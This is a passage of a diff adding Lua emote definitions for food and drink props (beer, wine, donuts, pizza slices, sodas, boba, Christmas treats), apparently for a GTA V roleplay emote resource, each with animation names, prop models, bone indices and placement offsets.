+ 0.0,
+ 0.0,
+ 0.05,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beer"] = {
+ "amb@world_human_drinking@beer@male@idle_a",
+ "idle_c",
+ "Beer",
+ AnimationOptions = {
+ Prop = 'prop_amb_beer_bottle',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.06,
+ 0.0,
+ 15.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beer2"] = {
+ "amb@world_human_drinking@beer@male@idle_a",
+ "idle_c",
+ "Beer 2",
+ AnimationOptions = {
+ Prop = 'prop_amb_beer_bottle',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.06,
+ 0.0,
+ 15.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beer3"] = {
+ "amb@world_human_drinking@beer@male@idle_a",
+ "idle_a",
+ "Beer 3",
+ AnimationOptions = {
+ Prop = 'p_cs_bottle_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beer4"] = {
+ "amb@world_human_drinking@beer@male@idle_a",
+ "idle_b",
+ "Beer 4 - Pour One Out For The Homies",
+ AnimationOptions = {
+ Prop = 'p_cs_bottle_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = false,
+ EmoteMoving = true
+ }
+ },
+ ["beer5"] = {
+ "amb@world_human_drinking@beer@male@idle_a",
+ "idle_c",
+ "Beer 5",
+ AnimationOptions = {
+ Prop = 'p_cs_bottle_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["whiskeyb2"] = {
+ "amb@world_human_drinking@beer@male@idle_a",
+ "idle_a",
+ "Whiskey Bottle 2",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_whiskey_bottle_2_s',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.05,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["whiskeyb3"] = {
+ "amb@world_human_drinking@beer@male@idle_a",
+ "idle_a",
+ "Whiskey Bottle 3",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_whiskey_bottle_2_s',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.05,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["beerf"] = {
+ "amb@world_human_drinking@beer@female@idle_a",
+ "idle_a",
+ "Beer Female",
+ AnimationOptions = {
+ Prop = 'prop_amb_beer_bottle',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ -0.0,
+ 0.05,
+ 15.0,
+ 15.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beercan"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Beer Can",
+ AnimationOptions = {
+ Prop = 'v_res_tt_can01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 80.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beercan2"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Beer Can 2",
+ AnimationOptions = {
+ Prop = 'v_res_tt_can02',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ -150.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beercan3"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Beer Can 3",
+ AnimationOptions = {
+ Prop = 'h4_prop_h4_can_beer_01a',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0700,
+ 0.0,
+ 0.0,
+ 90.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wine2"] = {
+ "amb@world_human_drinking@beer@female@idle_a",
+ "idle_e",
+ "Wine 2 - Bottle",
+ AnimationOptions = {
+ Prop = 'prop_wine_rose',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0,
+ 0.04,
+ -0.19,
+ 10.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ --- PropPlacement = {-0.0, 0.03, -0.20, 5.0, 0.0, 0.0},
+ --- F&B L&R U&D R.F&B
+ }
+ },
+ ["beerf3"] = {
+ "amb@world_human_drinking@beer@female@idle_a",
+ "idle_a",
+ "Beer Female 3",
+ AnimationOptions = {
+ Prop = 'prop_amb_beer_bottle',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ -0.0,
+ 0.05,
+ 15.0,
+ 15.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["wine3"] = {
+ "amb@world_human_drinking@beer@female@idle_a",
+ "idle_e",
+ "Wine 3 - Bottle",
+ AnimationOptions = {
+ Prop = 'prop_wine_rose',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0,
+ 0.04,
+ -0.19,
+ 10.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["cup"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Cup",
+ AnimationOptions = {
+ Prop = 'prop_plastic_cup_02',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["apple"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Apple",
+ AnimationOptions = {
+ Prop = 'sf_prop_sf_apple_01b',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0150,
+ -0.0200,
+ -124.6964,
+ -166.5760,
+ 8.4572
+ },
+ EmoteMoving = true
+ }
+ },
+ ["taco"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Taco",
+ AnimationOptions = {
+ Prop = 'prop_taco_01',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0170,
+ 0.0070,
+ -0.0210,
+ 107.9846,
+ -105.0251,
+ 55.7779
+ },
+ EmoteMoving = true
+ }
+ },
+ ["hotdog"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Hotdog",
+ AnimationOptions = {
+ Prop = 'prop_cs_hotdog_02',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0300,
+ 0.0100,
+ -0.0100,
+ 95.1071,
+ 94.7001,
+ -66.9179
+ },
+ EmoteMoving = true
+ }
+ },
+ ["bagel"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Bagel",
+ AnimationOptions = {
+ Prop = 'p_ing_bagel_01',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.05,
+ 0.03,
+ 145.3975,
+ -53.8984,
+ 4.8412
+ },
+ EmoteMoving = true
+ }
+ },
+ ["donut"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Donut",
+ AnimationOptions = {
+ Prop = 'prop_amb_donut',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.13,
+ 0.05,
+ 0.02,
+ -50.0,
+ 16.0,
+ 60.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["donut2"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Donut Chocolate",
+ AnimationOptions = {
+ Prop = 'bzzz_foodpack_donut002',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0000,
+ -0.0300,
+ -0.0100,
+ 10.0000,
+ 0.0000,
+ -1.0000
+ },
+ EmoteMoving = true
+ }
+ },
+ ["donut3"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Donut Raspberry",
+ AnimationOptions = {
+ Prop = 'bzzz_foodpack_donut001',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0000,
+ -0.0300,
+ -0.0100,
+ 10.0000,
+ 0.0000,
+ -1.0000
+ },
+ EmoteMoving = true
+ }
+ },
+ ["desert"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Eat dessert",
+ AnimationOptions = {
+ Prop = 'bzzz_food_dessert_a',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.15,
+ 0.03,
+ 0.03,
+ -42.0,
+ -36.0,
+ 0.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["croissant"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Croissant",
+ AnimationOptions = {
+ Prop = 'bzzz_foodpack_croissant001',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0000,
+ 0.0000,
+ -0.0100,
+ 0.0000,
+ 0.0000,
+ 90.0000
+ },
+ EmoteMoving = true
+ }
+ },
+ ["gingerbread"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Gingerbread Man",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_gingerbread_a',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.16,
+ 0.04,
+ 0.03,
+ 18.0,
+ 164.0,
+ -5.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["candycane"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Candy Cane - Red",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_lollipop_a',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.16,
+ 0.02,
+ 0.03,
+ -73.0,
+ 146.0,
+ -5.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["candycaneb"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Candy Cane - Green",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_lollipop_b',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.16,
+ 0.02,
+ 0.03,
+ -73.0,
+ 146.0,
+ -5.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["candycanec"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Candy Cane - Purple",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_lollipop_c',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.16,
+ 0.02,
+ 0.03,
+ -73.0,
+ 146.0,
+ -5.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["candycaned"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Candy Cane - Yellow",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_lollipop_d',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.16,
+ 0.02,
+ 0.03,
+ -73.0,
+ 146.0,
+ -5.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["candycanee"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Candy Cane - Blue",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_lollipop_e',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.16,
+ 0.02,
+ 0.03,
+ -73.0,
+ 146.0,
+ -5.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["meat"] = {
+ "move_crouch_proto",
+ "idle",
+ "Meat On A Stick",
+ AnimationOptions = {
+ Prop = 'bzzz_camp_stick_kebab',
+ PropBone = 64080,
+ PropPlacement = {
+ 0.0600,
+ 0.0500,
+ -0.1600,
+ 17.0651,
+ -30.9089,
+ 60.0374
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["meat2"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Meat On A Fork",
+ AnimationOptions = {
+ Prop = 'bzzz_camp_food_kebab',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.02,
+ 0.01,
+ -24.0,
+ -80.0,
+ 9.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mallow"] = {
+ "move_crouch_proto",
+ "idle",
+ "Marshmallow Stick - White",
+ AnimationOptions = {
+ Prop = 'bzzz_camp_stick_marshmallow',
+ PropBone = 64080,
+ PropPlacement = {
+ 0.0600,
+ 0.0500,
+ -0.1600,
+ 17.0651,
+ -30.9089,
+ 60.0374
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mallow2"] = {
+ "move_crouch_proto",
+ "idle",
+ "Marshmallow Stick - Pink",
+ AnimationOptions = {
+ Prop = 'bzzz_camp_stick_mellopink',
+ PropBone = 64080,
+ PropPlacement = {
+ 0.0600,
+ 0.0500,
+ -0.1600,
+ 17.0651,
+ -30.9089,
+ 60.0374
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mallow3"] = {
+ "move_crouch_proto",
+ "idle",
+ "Marshmallow Stick - Burnt",
+ AnimationOptions = {
+ Prop = 'bzzz_camp_stick_melloburnt',
+ PropBone = 64080,
+ PropPlacement = {
+ 0.0600,
+ 0.0500,
+ -0.1600,
+ 17.0651,
+ -30.9089,
+ 60.0374
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mallow4"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Marshmallow On A Fork - White",
+ AnimationOptions = {
+ Prop = 'bzzz_camp_food_marshmallow',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.02,
+ 0.01,
+ -24.0,
+ -80.0,
+ 9.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mallow5"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Marshmallow On A Fork - Pink",
+ AnimationOptions = {
+ Prop = 'bzzz_camp_food_mellopink',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.02,
+ 0.01,
+ -24.0,
+ -80.0,
+ 9.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mallow6"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Marshmallow On A Fork - Burnt",
+ AnimationOptions = {
+ Prop = 'bzzz_camp_food_melloburnt',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.02,
+ 0.01,
+ -24.0,
+ -80.0,
+ 9.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["macaroon"] = { --- Custom Prop by Bzzzi
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Macaroon",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_macaroon_a',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.15,
+ 0.07,
+ 0.00,
+ 38.0,
+ 7.0,
+ 7.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["xmasmug"] = { --- Custom Prop by Bzzzi
+ "mp_player_intdrink",
+ "loop_bottle",
+ "Xmas Mug - Tea",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_mug_a',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.09,
+ -0.01,
+ 0.08,
+ -44.0,
+ 137.0,
+ 9.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["xmasmug2"] = { --- Custom Prop by Bzzzi
+ "mp_player_intdrink",
+ "loop_bottle",
+ "Xmas Mug - Coffee",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_mug_b',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.09,
+ -0.01,
+ 0.08,
+ -44.0,
+ 137.0,
+ 9.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["xmaswine"] = { --- Custom Prop by Bzzzi
+ "mp_player_intdrink",
+ "loop_bottle",
+ "Xmas Mulled Wine",
+ AnimationOptions = {
+ Prop = 'bzzz_food_xmas_mulled_wine_a',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.13,
+ 0.03,
+ 0.05,
+ -110.0,
+ -47.0,
+ 7.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["cocoa"] = {
+ "amb@world_human_aa_coffee@base",
+ "base",
+ "Xmas Cocoa",
+ AnimationOptions = {
+ Prop = 'pata_christmasfood1',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.1100,
+ -0.1300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["xmassf"] = { --- Custom Prop by PataMods
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Snowflake Cookie",
+ AnimationOptions = {
+ Prop = 'pata_christmasfood2',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0200,
+ -0.0500,
+ 0.0200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["xmascc"] = { --- Custom Prop by PataMods
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Cupcake",
+ AnimationOptions = {
+ Prop = 'pata_christmasfood6',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0100,
+ 0.0200,
+ -0.0100,
+ -170.1788,
+ 87.6716,
+ 30.0540
+ },
+ EmoteMoving = true
+ }
+ },
+ ["xmascc2"] = { --- Custom Prop by PataMods
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Xmas Cupcake 2",
+ AnimationOptions = {
+ Prop = 'pata_christmasfood8',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0200,
+ 0.0,
+ -0.0100,
+ 9.3608,
+ -90.1809,
+ 66.3689
+ },
+ EmoteMoving = true
+ }
+ },
+ ["xmasic"] = {
+ "anim@scripted@island@special_peds@pavel@hs4_pavel_ig5_caviar_p1",
+ "base_idle",
+ "Xmas Ice Cream",
+ AnimationOptions = {
+ Prop = "pata_christmasfood7",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0460,
+ 0.0000,
+ -0.0300,
+ 0.0,
+ 0.0,
+ -50.0000
+ },
+ SecondProp = 'h4_prop_h4_coke_spoon_01',
+ SecondPropBone = 28422,
+ SecondPropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 20.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pizzaslice"] = { --- Custom Prop by knjgh
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Pizza Slice - Jalapeño And Peperoni",
+ AnimationOptions = {
+ Prop = 'knjgh_pizzaslice1',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0500,
+ -0.0200,
+ -0.0200,
+ 73.6928,
+ -66.7427,
+ 68.3677
+ },
+ EmoteMoving = true
+ }
+ },
+ ["pizzas"] = { --- Custom Prop by knjgh
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Pizza Slice - Jalapeño And Peperoni",
+ AnimationOptions = {
+ Prop = 'knjgh_pizzaslice1',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0500,
+ -0.0200,
+ -0.0200,
+ 73.6928,
+ -66.7427,
+ 68.3677
+ },
+ EmoteMoving = true
+ }
+ },
+ ["pizzas2"] = { --- Custom Prop by knjgh
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Pizza Slice - Tomato And Pesto",
+ AnimationOptions = {
+ Prop = 'knjgh_pizzaslice2',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0500,
+ -0.0200,
+ -0.0200,
+ 73.6928,
+ -66.7427,
+ 68.3677
+ },
+ EmoteMoving = true
+ }
+ },
+ ["pizzas3"] = { --- Custom Prop by knjgh
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Pizza Slice - Mushroom",
+ AnimationOptions = {
+ Prop = 'knjgh_pizzaslice3',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0500,
+ -0.0200,
+ -0.0200,
+ 73.6928,
+ -66.7427,
+ 68.3677
+ },
+ EmoteMoving = true
+ }
+ },
+ ["pizzas4"] = { --- Custom Prop by knjgh
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Pizza Slice - Margherita",
+ AnimationOptions = {
+ Prop = 'knjgh_pizzaslice4',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0500,
+ -0.0200,
+ -0.0200,
+ 73.6928,
+ -66.7427,
+ 68.3677
+ },
+ EmoteMoving = true
+ }
+ },
+ ["pizzas5"] = { --- Custom Prop by knjgh
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Pizza Slice - Double Peperoni",
+ AnimationOptions = {
+ Prop = 'knjgh_pizzaslice5',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0500,
+ -0.0200,
+ -0.0200,
+ 73.6928,
+ -66.7427,
+ 68.3677
+ },
+ EmoteMoving = true
+ }
+ },
+ ["eat"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Eat",
+ AnimationOptions = {
+ Prop = 'prop_cs_burger_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0000,
+ 0.0000,
+ -0.0200,
+ 30.0000,
+ 0.0000,
+ 0.0000,
+ },
+ EmoteMoving = true
+ }
+ },
+ ["burger"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Burger",
+ AnimationOptions = {
+ Prop = 'prop_cs_burger_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0000,
+ 0.0000,
+ -0.0200,
+ 30.0000,
+ 0.0000,
+ 0.0000,
+ },
+ EmoteMoving = true
+ }
+ },
+ ["burgerpose"] = { -- Custom Emote By Dark Animations exclusive to RPEmotes exclusive to RPEmotes
+ "brugershot_dark_fixed@dark",
+ "brugershot_dark_fixed_clip",
+ "Burger - Pose",
+ AnimationOptions = {
+ Prop = 'prop_cs_burger_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0460,
+ 0.0140,
+ 0.0460,
+ 3.4346,
+ 20.1823,
+ -10.000
+ },
+ SecondProp = 'ba_prop_battle_sports_helmet',
+ SecondPropBone = 28422,
+ SecondPropPlacement = {
+ 0.0400,
+ -0.0100,
+ -0.2000,
+ 176.3835,
+ -169.3724,
+ 19.6834
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sandwich"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Sandwich",
+ AnimationOptions = {
+ Prop = 'prop_sandwich_01',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.13,
+ 0.05,
+ 0.02,
+ -50.0,
+ 16.0,
+ 60.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["soda"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Soda - eCola Can",
+ AnimationOptions = {
+ Prop = 'prop_ecola_can',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 130.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["soda2"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Soda 2 - Sprunk Can",
+ AnimationOptions = {
+ Prop = 'ng_proc_sodacan_01b',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0050,
+ -0.0010,
+ -0.0800,
+ 0.0,
+ 0.0,
+ 160.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["soda3"] = {
+ "amb@code_human_wander_drinking@male@base",
+ "static",
+ "Soda 3 - P's & Q's Cup",
+ AnimationOptions = {
+ Prop = 'v_ret_fh_bscup',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0400,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["soda4"] = {
+ "amb@code_human_wander_drinking@male@base",
+ "static",
+ "Soda 4 - Burger Shot Cup",
+ AnimationOptions = {
+ Prop = 'prop_cs_bs_cup',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0060,
+ 0.0010,
+ 0.0,
+ 0.0,
+ 0.0,
+ -150.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["soda5"] = {
+ "amb@code_human_wander_drinking@male@base",
+ "static",
+ "Soda 5 - eCola Cup",
+ AnimationOptions = {
+ Prop = 'prop_rpemotes_soda03',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0060,
+ 0.0010,
+ 0.0,
+ 0.0,
+ 0.0,
+ 80.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["soda6"] = {
+ "amb@code_human_wander_drinking@male@base",
+ "static",
+ "Soda 6 - eCola Light Cup",
+ AnimationOptions = {
+ Prop = 'prop_rpemotes_soda04',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0060,
+ 0.0010,
+ 0.0,
+ 0.0,
+ 0.0,
+ 80.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["soda7"] = {
+ "amb@code_human_wander_drinking@male@base",
+ "static",
+ "Soda 7- Sprunk Cup",
+ AnimationOptions = {
+ Prop = 'prop_rpemotes_soda01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0060,
+ 0.0010,
+ 0.0,
+ 0.0,
+ 0.0,
+ 80.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["soda8"] = {
+ "amb@code_human_wander_drinking@male@base",
+ "static",
+ "Soda 8 - Sprunk Light Cup",
+ AnimationOptions = {
+ Prop = 'prop_rpemotes_soda02',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0060,
+ 0.0010,
+ 0.0,
+ 0.0,
+ 0.0,
+ 80.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["soda9"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Soda 9 - Orange Flavoured Can",
+ AnimationOptions = {
+ Prop = 'prop_orang_can_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 130.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["boba"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Boba",
+ AnimationOptions = {
+ Prop = 'scully_boba',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["boba2"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Boba 2",
+ AnimationOptions = {
+ Prop = 'scully_boba2',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["boba3"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Boba 3",
+ AnimationOptions = {
+ Prop = 'scully_boba3',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipsoda"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Soda Cup - Sprunk",
+ AnimationOptions = {
+ Prop = 'prop_rpemotes_soda01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0470,
+ 0.0040,
+ -0.0600,
+ -88.0263,
+ -25.0367,
+ -27.3898
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipsodab"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Soda Cup - Sprunk Light",
+ AnimationOptions = {
+ Prop = 'prop_rpemotes_soda02',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0470,
+ 0.0040,
+ -0.0600,
+ -88.0263,
+ -25.0367,
+ -27.3898
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipsodac"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Soda Cup - eCola",
+ AnimationOptions = {
+ Prop = 'prop_rpemotes_soda03',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0470,
+ 0.0040,
+ -0.0600,
+ -88.0263,
+ -25.0367,
+ -27.3898
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipsodad"] = {
